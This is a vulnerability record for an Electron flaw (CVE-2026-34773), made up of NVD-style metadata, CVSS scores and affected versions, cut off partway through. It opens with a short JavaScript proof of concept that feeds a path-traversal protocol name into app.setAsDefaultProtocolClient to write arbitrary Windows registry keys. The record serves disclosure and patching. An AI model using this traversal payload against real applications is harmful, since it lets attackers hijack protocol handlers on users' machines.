CVE-2026-34773

// PoC for CVE-2026-34773 // This demonstrates how untrusted input can write to arbitrary registry keys via path traversal. const { app } = require('electron'); // Simulate untrusted input containing a path traversal payload // This payload attempts to escape the protocol root and write to an arbitrary key const maliciousProtocol = "safe_protocol\..\..\ArbitrarySubKey"; // The vulnerable function does not validate the protocol name // This results in a registry write operation at: // HKCU\Software\Classes\ArbitrarySubKey app.setAsDefaultProtocolClient(maliciousProtocol); console.log(`[+] Attempted to hijack registry using protocol: ${maliciousProtocol}`); console.log(`[+] Check HKCU\Software\Classes\ArbitrarySubKey for impact.`);

{"cve": {"id": "CVE-2026-34773", "sourceIdentifier": "[email protected]", "published": "2026-04-04T00:16:18.287", "lastModified": "2026-04-22T18:01:40.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to versions 38.8.6, 39.8.1, 40.8.1, and 41.0.0, on Windows, app.setAsDefaultProtocolClient(protocol) did not validate the protocol name before writing to the registry. Apps that pass untrusted input as the protocol name may allow an attacker to write to arbitrary subkeys under HKCU\\Software\\Classes\\, potentially hijacking existing protocol handlers. Apps are only affected if they call app.setAsDefaultProtocolClient() with a protocol name derived from external or untrusted input. Apps that use a hardcoded protocol name are not affected. This issue has been patched in versions 38.8.6, 39.8.1, 40.8.1, and 41.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-74"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "38.8.6", "matchCriteriaId": "9CE003A2-03CC-4355-AA17-2CBD204EC6C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "39.0.0", "versionEndExcluding": "39.8.1", "matchCriteriaId": "8F28D187-306E-4C9D-ADED-56DD79B04AF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "40.0.0", "versionEndExcluding": "40.8.1", "matchCriteriaId": "A8E19E38-B08F-4075-A564-E14DC3F54078"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "A20225D6-F435-4D09-962D-B162F521B6AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha2:*:*:*:node.js:*:*", "matchCriteriaId": "33712802-EB60-4E9A-83B8-9F2320B70CB4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha3:*:*:*:node.js:*:*", "matchCriteriaId": "9D0A9142-54FE-47BB-9FEB-5E97528E28FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha4:*:*:*:node.js:*:*", "matchCriteriaId": "9E1D191F-DEAE-4DB3-9822-F31AF9FE3BAC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha5:*:*:*:node.js:*:*", "matchCriteriaId": "45A8192F-3D2C-4987-9BBE-7ECC3F71965D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha6:*:*:*:node.js:*:*", "matchCriteriaId": "EEA1A2E5-03DB-46CB-8427-7F31A8A7CE1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta1:*:*:*:node.js:*:*", "matchCriteriaId": "B2DFCE75-BD3F-4537-B5B8-14097E262EA2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta2:*:*:*:node.js:*:*", "matchCriteriaId": "BC346E25-EA43-4615-8CDB-16D15D46E4FF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta3:*:*:*:node.js:*:*", "matchCriteriaId": "FA5B3C00-CAFC-4995-BF35-9920F3039E77"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta4:*:*:*:node.js:*:*", "matchCriteriaId": "3672F3FB-6B5E-40FD-8A92-CB4DD6BC6A93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta5:*:*:*:node.js:*:*", "matchCriteriaId": "9EE4F8AE-21D2-4815-85B7-B7ECCC0D5059"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta6:*:*:*:node.js:*:*", "matchCriteriaId": "D195760C-7DD9-4259-9042-EDE65AEAC1D6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta7:*:*:*:node.js:*:*", "matchCriteriaId": "B370859F-24D3-4B25-B580-1A5B6DB94BFE"}, {"vulnerable": true, "criteria": "cpe:2.3: ... (truncated)